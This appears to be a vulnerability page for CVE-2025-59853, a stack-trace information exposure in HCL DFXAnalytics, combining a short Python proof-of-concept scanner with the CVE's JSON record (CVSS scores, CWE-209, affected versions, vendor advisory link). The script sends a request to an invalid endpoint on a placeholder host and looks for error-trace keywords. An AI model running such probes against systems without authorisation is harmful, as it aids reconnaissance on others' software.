CVE-2025-59853

import requests # PoC for CVE-2025-59853: Information Exposure via Stack Trace # This script attempts to trigger an error to verify stack trace exposure. def check_stack_trace_exposure(target_url): # Attempt to access a non-existent endpoint or send malformed data to trigger an error trigger_endpoint = f"{target_url}/api/invalid-endpoint-for-testing" headers = { "User-Agent": "CVE-2025-59853-Scanner/1.0", "Accept": "application/json" } try: response = requests.get(trigger_endpoint, headers=headers, timeout=10) # Check if the response body contains common stack trace indicators response_text = response.text indicators = ["Exception", "stack trace", "at ", "System.", "java.lang.", "org.apache"] found_indicators = [ind for ind in indicators if ind in response_text] if found_indicators: print("[+] Potential Information Leak Detected!") print(f" Status Code: {response.status_code}") print(f" Indicators found: {found_indicators}") print(f" Response snippet: {response_text[:200]}...") else: print("[-] No obvious stack trace exposure detected on this endpoint.") print(f" Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://example-dfxanalytics.com" print(f"Checking {target} for CVE-2025-59853...") check_stack_trace_exposure(target)

{"cve": {"id": "CVE-2025-59853", "sourceIdentifier": "[email protected]", "published": "2026-05-06T11:16:04.683", "lastModified": "2026-05-07T20:03:12.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL DFXAnalytics is affected by an Improper Error Handling vulnerability where the application exposes detailed stack traces in responses, which could allow an attacker to gain insights into the application's internal structure, code logic, and environment configurations."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:dfxanalytics:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.1", "matchCriteriaId": "EBC416E1-5496-4734-AE0E-8AA575A69D18"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0130569", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}